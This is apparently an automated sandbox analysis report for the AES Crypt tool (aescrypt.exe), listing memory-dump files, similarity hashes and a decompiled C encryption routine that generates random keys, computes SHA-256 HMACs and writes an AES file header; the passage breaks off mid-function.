Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _memmove
String ID: @
API String ID: 4104443479-2766056989
Opcode ID: 090d2133cb2993c48b8a70aa1153c7810eb19ba37bb19cddb2b5debad7f182ea
Instruction ID: 5ac936f0e01665c5637d5bfc925077001005f2171e1979b71bfe78e2811e45fa
Opcode Fuzzy Hash: 090d2133cb2993c48b8a70aa1153c7810eb19ba37bb19cddb2b5debad7f182ea
Instruction Fuzzy Hash: 8C11C6B3600608ABC714DE98D8C999E77BAFF98354F50856DE90ECB205EA30DF408751

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: aescrypt.exe PID: 7060 Parent PID: 6680 aescrypt.exeCOMMON

Executed Functions

Function 008733E0, Relevance: 111.3, APIs: 40, Strings: 23, Instructions: 1073
encryptionCOMMONCrypto

Download Yara Rule

C-Code - Quality: 80%

			E008733E0(signed int __ecx, intOrPtr __edx, signed int _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				char _v88;
				char _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				char _v136;
				char _v204;
				char _v268;
				char _v269;
				char _v524;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				signed int _v624;
				signed int _v628;
				char _v1148;
				char* _v1152;
				signed int _v1156;
				signed int _v1160;
				long* _v1164;
				signed int _v1168;
				signed int _v1172;
				signed int _v1176;
				intOrPtr _v1180;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t503;
				void* _t507;
				void* _t512;
				signed int _t514;
				signed int _t517;
				signed int _t518;
				signed int _t522;
				signed int _t524;
				signed int _t525;
				void* _t526;
				void* _t527;
				void* _t530;
				intOrPtr* _t533;
				void* _t535;
				void* _t537;
				void* _t540;
				void* _t541;
				signed int _t548;
				signed int _t552;
				signed int _t553;
				signed int _t557;
				void* _t563;
				void* _t574;
				signed int _t577;
				void* _t578;
				void* _t579;
				signed int _t583;
				signed int _t584;
				void* _t588;
				void* _t589;
				signed int _t591;
				signed int _t596;
				signed int _t601;
				signed int _t602;
				void* _t606;
				void* _t613;
				signed int _t617;
				void* _t618;
				signed int _t623;
				signed int _t624;
				void* _t628;
				signed int _t629;
				signed int _t638;
				void* _t641;
				signed int _t645;
				signed int _t646;
				void* _t650;
				signed int _t653;
				signed int _t659;
				signed int _t667;
				signed int _t676;
				signed int _t686;
				signed int _t690;
				signed int _t696;
				signed int _t700;
				signed int _t708;
				void* _t713;
				signed int _t720;
				signed int _t723;
				signed int _t736;
				signed char _t751;
				signed char _t752;
				signed char _t753;
				signed char _t754;
				signed char _t771;
				signed char _t772;
				signed char _t773;
				signed char _t774;
				intOrPtr _t791;
				intOrPtr _t794;
				intOrPtr _t796;
				intOrPtr _t838;
				long _t843;
				signed int _t847;
				BYTE* _t848;
				intOrPtr _t852;
				BYTE* _t853;
				intOrPtr _t855;
				intOrPtr _t856;
				intOrPtr _t857;
				intOrPtr _t858;
				intOrPtr _t859;
				signed int _t860;
				signed int _t861;
				signed int _t865;
				signed int _t866;
				void* _t867;
				void* _t868;
				void* _t870;
				void* _t871;
				void* _t872;
				void* _t873;
				void* _t874;
				void* _t877;
				void* _t878;
				void* _t879;
				void* _t880;
				void* _t881;
				void* _t882;
				void* _t884;
				void* _t885;
				void* _t886;
				void* _t887;
				void* _t888;
				void* _t889;
				void* _t890;

				_t805 = __edx;
				_t503 =  *0x888288; // 0xb2c0100a
				_v8 = _t503 ^ _t866;
				_t860 = __imp__CryptAcquireContextW;
				_v1172 = _a4;
				_v1168 = __ecx;
				_v1180 = __edx;
				_t507 =  *_t860( &_v1164, 0, 0, 1, 0xf0000000); // executed
				if(_t507 != 0) {
					L6:
					_t806 =  &_v136;
					E0087E710( &_v136, 0, 0x30);
					_t868 = _t867 + 0xc;
					_v1160 = 0;
					do {
						__eflags = 0;
						_v40 = 0;
						_v36 = 0;
						_v32 = 0;
						_v28 = 0;
						_v24 = 0;
						_v20 = 0;
						_v16 = 0;
						_v12 = 0;
						_v628 = 0;
						_v624 = 0;
						_v620 = 0x6a09e667;
						_v616 = 0xbb67ae85;
						_v612 = 0x3c6ef372;
						_v608 = 0xa54ff53a;
						_v604 = 0x510e527f;
						_v600 = 0x9b05688c;
						_v596 = 0x1f83d9ab;
						_v592 = 0x5be0cd19;
						_v1156 = 0;
						while(1) {
							__eflags = CryptGenRandom(_v1164, 0x20,  &_v40);
							if(__eflags == 0) {
								break;
							}
							_t517 = _v628;
							_t860 = 0x20;
							_t720 = _t517 & 0x0000003f;
							_t518 = _t517 + 0x20;
							_t843 = 0x40 - _t720;
							_v1152 =  &_v40;
							_v628 = _t518;
							__eflags = _t518 - 0x20;
							if(_t518 < 0x20) {
								_t36 =  &_v624;
								 *_t36 = _v624 + 1;
								__eflags =  *_t36;
							}
							__eflags = _t720;
							if(_t720 == 0) {
								L18:
								_t806 = _v1152;
								E0087E790(_t866 + _t720 - 0x248, _v1152, _t860);
								_t868 = _t868 + 0xc;
							} else {
								__eflags = _t843 - _t860;
								if(_t843 > _t860) {
									goto L18;
								} else {
									E0087E790(_t866 + _t720 - 0x248,  &_v40, _t843);
									_t806 =  &_v628;
									E00875E90( &_v588,  &_v628);
									_t860 = _t860 - _t843;
									_t868 = _t868 + 0x10;
									_t720 = 0;
									_v1152 = _t866 + _t843 - 0x24;
									__eflags = _t860 - 0x40;
									if(_t860 >= 0x40) {
										_t859 = _v1152;
										_t708 = _t860 >> 6;
										__eflags = _t708;
										_v1176 = _t708;
										do {
											E00875E90(_t859,  &_v628);
											_t868 = _t868 + 4;
											_t860 = _t860 - 0x40;
											_t859 = _t859 + 0x40;
											_t49 =  &_v1176;
											 *_t49 = _v1176 - 1;
											__eflags =  *_t49;
										} while ( *_t49 != 0);
										_v1152 = _t859;
									}
									__eflags = _t860;
									if(_t860 != 0) {
										goto L18;
									}
								}
							}
							_t522 = _v1156 + 1;
							_v1156 = _t522;
							__eflags = _t522 - 0x100;
							if(_t522 < 0x100) {
								continue;
							} else {
								goto L20;
							}
							goto L133;
						}
						_push("Windows is unable to generate random digits");
						_t512 = E00878DA3();
						_t514 = E008795EB(_t720, _t843, _t860, __eflags);
						__eflags = _v8 ^ _t866;
						return E00878AD6(_t514 | 0xffffffff, _t720, _v8 ^ _t866, _t806, _t843, _t860, _t512 + 0x40);
						goto L133;
						L20:
						E00878680( &_v628,  &_v88);
						_t524 = _v1160;
						 *(_t866 + _t524 - 0x84) = _v88;
						_t806 = _v80;
						 *((intOrPtr*)(_t866 + _t524 - 0x80)) = _v84;
						 *((intOrPtr*)(_t866 + _t524 - 0x7c)) = _v80;
						 *((intOrPtr*)(_t866 + _t524 - 0x78)) = _v76;
						_t525 = _t524 + 0x10;
						_t868 = _t868 + 4;
						_v1160 = _t525;
						__eflags = _t525 - 0x30;
					} while (__eflags < 0);
					_t861 = _v1168;
					_push(_t861);
					_push(5);
					_t809 =  &_v40;
					_push(1);
					_push( &_v40);
					_v40 = 0x2534541;
					_v36 = 0;
					_t526 = E008798AF(_t720,  &_v40, _t843, _t861, __eflags); // executed
					_t870 = _t868 + 0x10;
					__eflags = _t526 - 5;
					if(__eflags == 0) {
						_push(_t861);
						_push(2);
						_push(1);
						_push( &_v40);
						_v40 = 0x1800;
						_t527 = E008798AF(_t720,  &_v40, _t843, _t861, __eflags);
						_t871 = _t870 + 0x10;
						__eflags = _t527 - 2;
						if(_t527 == 2) {
							E00879260( &_v524, "CREATED_BY", 0xff);
							_push(_t861);
							_push(0xb);
							_push(1);
							_push( &_v524);
							_v269 = 0;
							_t530 = E008798AF(_t720, _t809, _t843, _t861, __eflags);
							_t872 = _t871 + 0x1c;
							__eflags = _t530 - 0xb;
							if(_t530 == 0xb) {
								_push("3.10");
								E00878AE5( &_v524, "%s %s", "aescrypt");
								_t533 =  &_v524;
								_t873 = _t872 + 0x10;
								_t810 = _t533 + 1;
								do {
									_t736 =  *_t533;
									_t533 = _t533 + 1;
									__eflags = _t736;
								} while (__eflags != 0);
								_push(_t861);
								_t843 = _t533 - _t810;
								_push(_t843);
								_push(1);
								_push( &_v524);
								_t535 = E008798AF(_t720, _t810, _t843, _t861, __eflags);
								_t872 = _t873 + 0x10;
								__eflags = _t535 - _t843;
								if(__eflags == 0) {
									_push(_t861);
									_push(2);
									_push(1);
									_push( &_v40);
									_v40 = 0x8000;
									_t537 = E008798AF(_t720, _t810, _t843, _t861, __eflags);
									_t874 = _t872 + 0x10;
									__eflags = _t537 - 2;
									if(__eflags == 0) {
										_t810 =  &_v524;
										E0087E710( &_v524, 0, 0x80);
										_push(_t861);
										_push(0x80);
										_push(1);
										_push( &_v524);
										_t540 = E008798AF(_t720,  &_v524, _t843, _t861, __eflags);
										_t874 = _t874 + 0x1c;
										__eflags = _t540 - 0x80;
										if(__eflags == 0) {
											_push(_t861);
											_push(2);
											_t811 =  &_v40;
											_push(1);
											_push( &_v40);
											_v40 = 0;
											_t541 = E008798AF(_t720,  &_v40, _t843, _t861, __eflags);
											_t870 = _t874 + 0x10;
											__eflags = _t541 - 2;
											if(_t541 == 2) {
												E00875E40( &_v628);
												_v1160 = 0;
												while(1) {
													__eflags = CryptGenRandom(_v1164, 0x20,  &_v40);
													if(__eflags == 0) {
														break;
													}
													_v1152 =  &_v40;
													_t552 = _v628;
													_t861 = 0x20;
													_t720 = _t552 & 0x0000003f;
													_t553 = _t552 + 0x20;
													_t843 = 0x40 - _t720;
													_v628 = _t553;
													__eflags = _t553 - 0x20;
													if(_t553 < 0x20) {
														_t106 =  &_v624;
														 *_t106 = _v624 + 1;
														__eflags =  *_t106;
													}
													__eflags = _t720;
													if(_t720 == 0) {
														L54:
														E0087E790(_t866 + _t720 - 0x248, _v1152, _t861);
														_t870 = _t870 + 0xc;
													} else {
														__eflags = _t843 - _t861;
														if(_t843 > _t861) {
															goto L54;
														} else {
															E0087E790(_t866 + _t720 - 0x248,  &_v40, _t843);
															E00875E90( &_v588,  &_v628);
															_t861 = _t861 - _t843;
															_t870 = _t870 + 0x10;
															_t796 = _t866 + _t843 - 0x24;
															_t720 = 0;
															_v1152 = _t796;
															__eflags = _t861 - 0x40;
															if(_t861 >= 0x40) {
																_t686 = _t861 >> 6;
																__eflags = _t686;
																_v1156 = _t686;
																_t858 = _t796;
																do {
																	E00875E90(_t858,  &_v628);
																	_t870 = _t870 + 4;
																	_t861 = _t861 - 0x40;
																	_t858 = _t858 + 0x40;
																	_t118 =  &_v1156;
																	 *_t118 = _v1156 - 1;
																	__eflags =  *_t118;
																} while ( *_t118 != 0);
																_v1152 = _t858;
															}
															__eflags = _t861;
															if(_t861 != 0) {
																goto L54;
															}
														}
													}
													_t557 = _v1160 + 1;
													_v1160 = _t557;
													__eflags = _t557 - 0x100;
													if(_t557 < 0x100) {
														continue;
													} else {
														E00878680( &_v628,  &_v88);
														_v52 = _v84;
														_t814 = _v1164;
														_t723 = 0;
														_v56 = _v88;
														_v48 = _v80;
														_v44 = _v76;
														CryptReleaseContext(_v1164, 0);
														_push(_v1168);
														_push(0x10);
														_push(1);
														_push( &_v56);
														_t563 = E008798AF(0, _v1164, _t843, _t861, __eflags);
														_t877 = _t870 + 0x14;
														__eflags = _t563 - 0x10;
														if(__eflags == 0) {
															_v88 = 0;
															_v84 = 0;
															_v80 = 0;
															_v76 = 0;
															_v72 = 0;
															_v68 = 0;
															_v64 = 0;
															_v60 = 0;
															_v88 = _v56;
															_v84 = _v52;
															_v80 = _v48;
															_v76 = _v44;
															_t847 = _a8 + _a8;
															__eflags = _t847;
															_v1156 = 0x2000;
															do {
																_v624 = _t723;
																_v620 = 0x6a09e667;
																_v616 = 0xbb67ae85;
																_v612 = 0x3c6ef372;
																_v608 = 0xa54ff53a;
																_v604 = 0x510e527f;
																_v600 = 0x9b05688c;
																_v596 = 0x1f83d9ab;
																_v592 = 0x5be0cd19;
																_v628 = 0x20;
																E0087E790( &_v588,  &_v88, 0x20);
																_t878 = _t877 + 0xc;
																__eflags = _t847 - _t723;
																if(_t847 != _t723) {
																	E008785E0(_t847,  &_v588,  &_v628, _v1180);
																	_t878 = _t878 + 4;
																}
																E00878680( &_v628,  &_v88);
																_t877 = _t878 + 4;
																_t175 =  &_v1156;
																 *_t175 = _v1156 - 1;
																__eflags =  *_t175;
															} while ( *_t175 != 0);
															E00871210( &_v1148,  &_v88);
															E0087E710( &_v204, 0x36, 0x40);
															E0087E710( &_v268, 0x5c, 0x40);
															_t879 = _t877 + 0x20;
															_t574 = 0;
															__eflags = 0;
															do {
																_t751 =  *((intOrPtr*)(_t866 + _t574 - 0x54));
																 *(_t866 + _t574 - 0xc8) =  *(_t866 + _t574 - 0xc8) ^ _t751;
																 *(_t866 + _t574 - 0x108) =  *(_t866 + _t574 - 0x108) ^ _t751;
																_t752 =  *((intOrPtr*)(_t866 + _t574 - 0x53));
																 *(_t866 + _t574 - 0xc7) =  *(_t866 + _t574 - 0xc7) ^ _t752;
																 *(_t866 + _t574 - 0x107) =  *(_t866 + _t574 - 0x107) ^ _t752;
																_t753 =  *((intOrPtr*)(_t866 + _t574 - 0x52));
																 *(_t866 + _t574 - 0xc6) =  *(_t866 + _t574 - 0xc6) ^ _t753;
																 *(_t866 + _t574 - 0x106) =  *(_t866 + _t574 - 0x106) ^ _t753;
																_t754 =  *((intOrPtr*)(_t866 + _t574 - 0x51));
																 *(_t866 + _t574 - 0xc5) =  *(_t866 + _t574 - 0xc5) ^ _t754;
																 *(_t866 + _t574 - 0x105) =  *(_t866 + _t574 - 0x105) ^ _t754;
																_t574 = _t574 + 4;
																__eflags = _t574 - 0x20;
															} while (_t574 < 0x20);
															_v624 = _t723;
															_v620 = 0x6a09e667;
															_v616 = 0xbb67ae85;
															_v612 = 0x3c6ef372;
															_v608 = 0xa54ff53a;
															_v604 = 0x510e527f;
															_v600 = 0x9b05688c;
															_v596 = 0x1f83d9ab;
															_v592 = 0x5be0cd19;
															_v628 = 0x40;
															E00875E90( &_v204,  &_v628);
															_t880 = _t879 + 4;
															_v1160 = _t723;
															do {
																_t577 = _v1160;
																_t578 = _t866 + _t577 - 0x84;
																_v40 =  *(_t866 + _t577 - 0x84);
																_v36 =  *((intOrPtr*)(_t866 + _t577 - 0x80));
																_v32 =  *((intOrPtr*)(_t578 + 8));
																_v28 =  *((intOrPtr*)(_t578 + 0xc));
																_t579 = 0;
																__eflags = 0;
																do {
																	 *(_t866 + _t579 - 0x24) =  *(_t866 + _t579 - 0x24) ^  *(_t866 + _t579 - 0x34);
																	_t579 = _t579 + 1;
																	__eflags = _t579 - 0x10;
																} while (_t579 < 0x10);
																_t848 =  &_v40;
																E008715B0(_t848, _t848,  &_v1148);
																_v1152 = _t848;
																_t583 = _v628;
																_t861 = 0x10;
																_t723 = _t583 & 0x0000003f;
																_t584 = _t583 + 0x10;
																_t881 = _t880 + 4;
																_t843 = 0x40 - _t723;
																_v628 = _t584;
																__eflags = _t584 - 0x10;
																if(_t584 < 0x10) {
																	_t258 =  &_v624;
																	 *_t258 = _v624 + 1;
																	__eflags =  *_t258;
																}
																__eflags = _t723;
																if(_t723 == 0) {
																	L78:
																	E0087E790(_t866 + _t723 - 0x248, _v1152, _t861);
																	_t882 = _t881 + 0xc;
																} else {
																	__eflags = _t843 - _t861;
																	if(_t843 > _t861) {
																		goto L78;
																	} else {
																		E0087E790(_t866 + _t723 - 0x248,  &_v40, _t843);
																		E00875E90( &_v588,  &_v628);
																		_t861 = _t861 - _t843;
																		_t882 = _t881 + 0x10;
																		_t794 = _t866 + _t843 - 0x24;
																		_t723 = 0;
																		_v1152 = _t794;
																		__eflags = _t861 - 0x40;
																		if(_t861 >= 0x40) {
																			_t676 = _t861 >> 6;
																			__eflags = _t676;
																			_v1156 = _t676;
																			_t857 = _t794;
																			do {
																				E00875E90(_t857,  &_v628);
																				_t882 = _t882 + 4;
																				_t861 = _t861 - 0x40;
																				_t857 = _t857 + 0x40;
																				_t270 =  &_v1156;
																				 *_t270 = _v1156 - 1;
																				__eflags =  *_t270;
																			} while ( *_t270 != 0);
																			_v1152 = _t857;
																		}
																		__eflags = _t861;
																		if(__eflags != 0) {
																			goto L78;
																		}
																	}
																}
																_t814 = _v1168;
																_push(_v1168);
																_push(0x10);
																_push(1);
																_push( &_v40);
																_t588 = E008798AF(_t723, _v1168, _t843, _t861, __eflags);
																_t880 = _t882 + 0x10;
																__eflags = _t588 - 0x10;
																if(__eflags != 0) {
																	_push("Error: Could not write iv_key data\n");
																	goto L58;
																} else {
																	goto L80;
																}
																goto L133;
																L80:
																_v48 = _v32;
																_t596 = _v1160 + 0x10;
																_v56 = _v40;
																_v52 = _v36;
																_v44 = _v28;
																_v1160 = _t596;
																__eflags = _t596 - 0x30;
															} while (_t596 < 0x30);
															E00878680( &_v628,  &_v88);
															_v624 = 0;
															_v620 = 0x6a09e667;
															_v616 = 0xbb67ae85;
															_v612 = 0x3c6ef372;
															_v608 = 0xa54ff53a;
															_v604 = 0x510e527f;
															_v600 = 0x9b05688c;
															_v596 = 0x1f83d9ab;
															_v592 = 0x5be0cd19;
															_v628 = 0x40;
															E00875E90( &_v268,  &_v628);
															_t601 = _v628;
															_t723 = 0x20;
															_t861 = _t601 & 0x0000003f;
															_t602 = _t601 + 0x20;
															_t884 = _t880 + 8;
															_t843 = 0x40 - _t861;
															_v1152 =  &_v88;
															_v628 = _t602;
															__eflags = _t602 - 0x20;
															if(_t602 < 0x20) {
																_t307 =  &_v624;
																 *_t307 = _v624 + 1;
																__eflags =  *_t307;
															}
															__eflags = _t861;
															if(_t861 == 0) {
																L90:
																E0087E790(_t866 + _t861 - 0x248, _v1152, _t723);
																_t885 = _t884 + 0xc;
															} else {
																__eflags = _t843 - _t723;
																if(_t843 > _t723) {
																	goto L90;
																} else {
																	E0087E790(_t866 + _t861 - 0x248,  &_v88, _t843);
																	E00875E90( &_v588,  &_v628);
																	_t723 = _t723 - _t843;
																	_t885 = _t884 + 0x10;
																	_t838 = _t866 + _t843 - 0x54;
																	_t861 = 0;
																	_v1152 = _t838;
																	__eflags = _t723 - 0x40;
																	if(_t723 >= 0x40) {
																		_t667 = _t723 >> 6;
																		__eflags = _t667;
																		_v1156 = _t667;
																		_t856 = _t838;
																		do {
																			E00875E90(_t856,  &_v628);
																			_t885 = _t885 + 4;
																			_t723 = _t723 - 0x40;
																			_t856 = _t856 + 0x40;
																			_t319 =  &_v1156;
																			 *_t319 = _v1156 - 1;
																			__eflags =  *_t319;
																		} while ( *_t319 != 0);
																		_v1152 = _t856;
																	}
																	__eflags = _t723;
																	if(_t723 != 0) {
																		goto L90;
																	}
																}
															}
															E00878680( &_v628,  &_v88);
															_push(_v1168);
															_push(0x20);
															_t814 =  &_v88;
															_push(1);
															_push( &_v88);
															_t606 = E008798AF(_t723,  &_v88, _t843, _t861, __eflags);
															_t880 = _t885 + 0x14;
															__eflags = _t606 - 0x20;
															if(__eflags == 0) {
																_v52 = _v132;
																_v48 = _v128;
																_v56 = _v136;
																_v44 = _v124;
																E00871210( &_v1148,  &_v120);
																E0087E710( &_v204, 0x36, 0x40);
																E0087E710( &_v268, 0x5c, 0x40);
																_t886 = _t880 + 0x20;
																_t613 = 0;
																__eflags = 0;
																do {
																	_t771 =  *((intOrPtr*)(_t866 + _t613 - 0x74));
																	 *(_t866 + _t613 - 0xc8) =  *(_t866 + _t613 - 0xc8) ^ _t771;
																	 *(_t866 + _t613 - 0x108) =  *(_t866 + _t613 - 0x108) ^ _t771;
																	_t772 =  *((intOrPtr*)(_t866 + _t613 - 0x73));
																	 *(_t866 + _t613 - 0xc7) =  *(_t866 + _t613 - 0xc7) ^ _t772;
																	 *(_t866 + _t613 - 0x107) =  *(_t866 + _t613 - 0x107) ^ _t772;
																	_t773 =  *((intOrPtr*)(_t866 + _t613 - 0x72));
																	 *(_t866 + _t613 - 0xc6) =  *(_t866 + _t613 - 0xc6) ^ _t773;
																	 *(_t866 + _t613 - 0x106) =  *(_t866 + _t613 - 0x106) ^ _t773;
																	_t774 =  *((intOrPtr*)(_t866 + _t613 - 0x71));
																	 *(_t866 + _t613 - 0xc5) =  *(_t866 + _t613 - 0xc5) ^ _t774;
																	 *(_t866 + _t613 - 0x105) =  *(_t866 + _t613 - 0x105) ^ _t774;
																	_t613 = _t613 + 4;
																	__eflags = _t613 - 0x20;
																} while (_t613 < 0x20);
																_t814 =  &_v628;
																_v624 = 0;
																_v620 = 0x6a09e667;
																_v616 = 0xbb67ae85;
																_v612 = 0x3c6ef372;
																_v608 = 0xa54ff53a;
																_v604 = 0x510e527f;
																_v600 = 0x9b05688c;
																_v596 = 0x1f83d9ab;
																_v592 = 0x5be0cd19;
																_v628 = 0x40;
																E00875E90( &_v204,  &_v628);
																_t723 = 0; // executed
																_t617 = E008795CE( &_v40, 1, 0x10, _v1172); // executed
																_t880 = _t886 + 0x14;
																_v1160 = _t617;
																__eflags = _t617;
																if(__eflags <= 0) {
																	L113:
																	if(__eflags >= 0) {
																		_push(_v1168);
																		_push(1);
																		_t814 =  &_v40;
																		_push(1);
																		_t723 = _t723 & 0x0000000f;
																		_push( &_v40);
																		_v40 = _t723;
																		_t618 = E008798AF(_t723,  &_v40, _t843, _t861, __eflags);
																		_t880 = _t880 + 0x10;
																		__eflags = _t618 - 1;
																		if(__eflags == 0) {
																			E00878680( &_v628,  &_v88);
																			_v624 = 0;
																			_v620 = 0x6a09e667;
																			_v616 = 0xbb67ae85;
																			_v612 = 0x3c6ef372;
																			_v608 = 0xa54ff53a;
																			_v604 = 0x510e527f;
																			_v600 = 0x9b05688c;
																			_v596 = 0x1f83d9ab;
																			_v592 = 0x5be0cd19;
																			_v628 = 0x40;
																			E00875E90( &_v268,  &_v628);
																			_t623 = _v628;
																			_t723 = 0x20;
																			_t865 = _t623 & 0x0000003f;
																			_t624 = _t623 + 0x20;
																			_t887 = _t880 + 8;
																			_t843 = 0x40 - _t865;
																			_v1152 =  &_v88;
																			_v628 = _t624;
																			__eflags = _t624 - 0x20;
																			if(_t624 < 0x20) {
																				_t479 =  &_v624;
																				 *_t479 = _v624 + 1;
																				__eflags =  *_t479;
																			}
																			__eflags = _t865;
																			if(_t865 == 0) {
																				L127:
																				E0087E790(_t866 + _t865 - 0x248, _v1152, _t723);
																				_t888 = _t887 + 0xc;
																			} else {
																				__eflags = _t843 - _t723;
																				if(_t843 > _t723) {
																					goto L127;
																				} else {
																					E0087E790(_t866 + _t865 - 0x248,  &_v88, _t843);
																					E00875E90( &_v588,  &_v628);
																					_t723 = _t723 - _t843;
																					_t888 = _t887 + 0x10;
																					_t865 = 0;
																					_v1152 = _t866 + _t843 - 0x54;
																					__eflags = _t723 - 0x40;
																					if(_t723 >= 0x40) {
																						_t852 = _v1152;
																						_t638 = _t723 >> 6;
																						__eflags = _t638;
																						_v1172 = _t638;
																						do {
																							E00875E90(_t852,  &_v628);
																							_t888 = _t888 + 4;
																							_t723 = _t723 - 0x40;
																							_t852 = _t852 + 0x40;
																							_t492 =  &_v1172;
																							 *_t492 = _v1172 - 1;
																							__eflags =  *_t492;
																						} while ( *_t492 != 0);
																						_v1152 = _t852;
																					}
																					__eflags = _t723;
																					if(_t723 != 0) {
																						goto L127;
																					}
																				}
																			}
																			E00878680( &_v628,  &_v88);
																			_t861 = _v1168;
																			_push(_t861);
																			_push(0x20);
																			_t814 =  &_v88;
																			_push(1);
																			_push( &_v88);
																			_t628 = E008798AF(_t723,  &_v88, _t843, _t861, __eflags);
																			_t880 = _t888 + 0x14;
																			__eflags = _t628 - 0x20;
																			if(__eflags == 0) {
																				_push(_t861); // executed
																				_t629 = E0087912E(_t723,  &_v88, _t843, _t861, __eflags); // executed
																				_t880 = _t880 + 4;
																				__eflags = _t629;
																				if(__eflags == 0) {
																					__eflags = 0;
																					return E00878AD6(0, _t723, _v8 ^ _t866, _t814, _t843, _t861);
																				} else {
																					_push("Error: Could not flush output file buffer\n");
																					goto L58;
																				}
																			} else {
																				_push("Error: Could not write the file HMAC\n");
																				goto L58;
																			}
																		} else {
																			_push("Error: Could not write the file size modulo\n");
																			goto L58;
																		}
																	} else {
																		_push("Error: Couldn\'t read input file\n");
																		goto L58;
																	}
																} else {
																	do {
																		_t641 = 0;
																		__eflags = 0;
																		do {
																			 *(_t866 + _t641 - 0x24) =  *(_t866 + _t641 - 0x24) ^  *(_t866 + _t641 - 0x34) & 0x000000ff;
																			 *(_t866 + _t641 - 0x23) =  *(_t866 + _t641 - 0x23) ^  *(_t866 + _t641 - 0x33) & 0x000000ff;
																			 *(_t866 + _t641 - 0x22) =  *(_t866 + _t641 - 0x22) ^  *(_t866 + _t641 - 0x32) & 0x000000ff;
																			 *(_t866 + _t641 - 0x21) =  *(_t866 + _t641 - 0x21) ^  *(_t866 + _t641 - 0x31) & 0x000000ff;
																			_t641 = _t641 + 4;
																			__eflags = _t641 - 0x10;
																		} while (_t641 < 0x10);
																		_t853 =  &_v40;
																		E008715B0(_t853, _t853,  &_v1148);
																		_v1152 = _t853;
																		_t645 = _v628;
																		_t861 = 0x10;
																		_t723 = _t645 & 0x0000003f;
																		_t646 = _t645 + 0x10;
																		_t889 = _t880 + 4;
																		_t843 = 0x40 - _t723;
																		_v628 = _t646;
																		__eflags = _t646 - 0x10;
																		if(_t646 < 0x10) {
																			_t425 =  &_v624;
																			 *_t425 = _v624 + 1;
																			__eflags =  *_t425;
																		}
																		__eflags = _t723;
																		if(_t723 == 0) {
																			L109:
																			E0087E790(_t866 + _t723 - 0x248, _v1152, _t861);
																			_t890 = _t889 + 0xc;
																		} else {
																			__eflags = _t843 - _t861;
																			if(_t843 > _t861) {
																				goto L109;
																			} else {
																				E0087E790(_t866 + _t723 - 0x248,  &_v40, _t843);
																				E00875E90( &_v588,  &_v628);
																				_t861 = _t861 - _t843;
																				_t890 = _t889 + 0x10;
																				_t791 = _t866 + _t843 - 0x24;
																				_t723 = 0;
																				_v1152 = _t791;
																				__eflags = _t861 - 0x40;
																				if(_t861 >= 0x40) {
																					_t659 = _t861 >> 6;
																					__eflags = _t659;
																					_v1156 = _t659;
																					_t855 = _t791;
																					do {
																						E00875E90(_t855,  &_v628);
																						_t890 = _t890 + 4;
																						_t861 = _t861 - 0x40;
																						_t855 = _t855 + 0x40;
																						_t437 =  &_v1156;
																						 *_t437 = _v1156 - 1;
																						__eflags =  *_t437;
																					} while ( *_t437 != 0);
																					_v1152 = _t855;
																				}
																				__eflags = _t861;
																				if(__eflags != 0) {
																					goto L109;
																				}
																			}
																		}
																		_t814 = _v1168;
																		_push(_v1168);
																		_push(0x10);
																		_push(1);
																		_push( &_v40); // executed
																		_t650 = E008798AF(_t723, _v1168, _t843, _t861, __eflags); // executed
																		_t880 = _t890 + 0x10;
																		__eflags = _t650 - 0x10;
																		if(__eflags != 0) {
																			_push("Error: Could not write to output file\n");
																			goto L58;
																		} else {
																			goto L111;
																		}
																		goto L133;
																		L111:
																		_t723 = _v1160;
																		_v52 = _v36;
																		_t814 = _v1172;
																		_v48 = _v32;
																		_v56 = _v40;
																		_v44 = _v28;
																		_t653 = E008795CE( &_v40, 1, 0x10, _v1172); // executed
																		_t880 = _t880 + 0x10;
																		_v1160 = _t653;
																		__eflags = _t653;
																	} while (_t653 > 0);
																	__eflags = _t653;
																	goto L113;
																}
															} else {
																_push("Error: Could not write iv_key HMAC\n");
																goto L58;
															}
														} else {
															_push("Error: Could not write out initialization vector\n");
															L58:
															_t589 = E00878DA3();
															_t591 = E008795EB(_t723, _t843, _t861, __eflags);
															__eflags = _v8 ^ _t866;
															return E00878AD6(_t591 | 0xffffffff, _t723, _v8 ^ _t866, _t814, _t843, _t861, _t589 + 0x40);
														}
													}
													goto L133;
												}
												_push("Windows is unable to generate random digits");
												_push(E00878DA3() + 0x40);
												E008795EB(_t720, _t843, _t861, __eflags);
												_t811 = _v1164;
												_push(0);
												_push(_v1164);
												goto L24;
											} else {
												_push("Error: Could not write tag to AES file (6)\n");
												goto L23;
											}
										} else {
											_push("Error: Could not write tag to AES file (5)\n");
											goto L38;
										}
									} else {
										_push("Error: Could not write tag to AES file (4)\n");
										L38:
										_push(E00878DA3() + 0x40);
										E008795EB(_t720, _t843, _t861, __eflags);
										_push(0);
										_push(_v1164);
										goto L29;
									}
								} else {
									_push("Error: Could not write tag to AES file (3)\n");
									goto L28;
								}
							} else {
								_push("Error: Could not write tag to AES file (2)\n");
								goto L28;
							}
						} else {
							_push("Error: Could not write tag to AES file (1)\n");
							L28:
							_t700 = E00878DA3() + 0x40;
							__eflags = _t700;
							_push(_t700);
							E008795EB(_t720, _t843, _t861, _t700);
							_t810 = _v1164;
							_push(0);
							_push(_v1164);
							L29:
							_t696 = CryptReleaseContext();
							__eflags = _v8 ^ _t866;
							return E00878AD6(_t696 | 0xffffffff, _t720, _v8 ^ _t866, _t810, _t843, _t861);
						}
					} else {
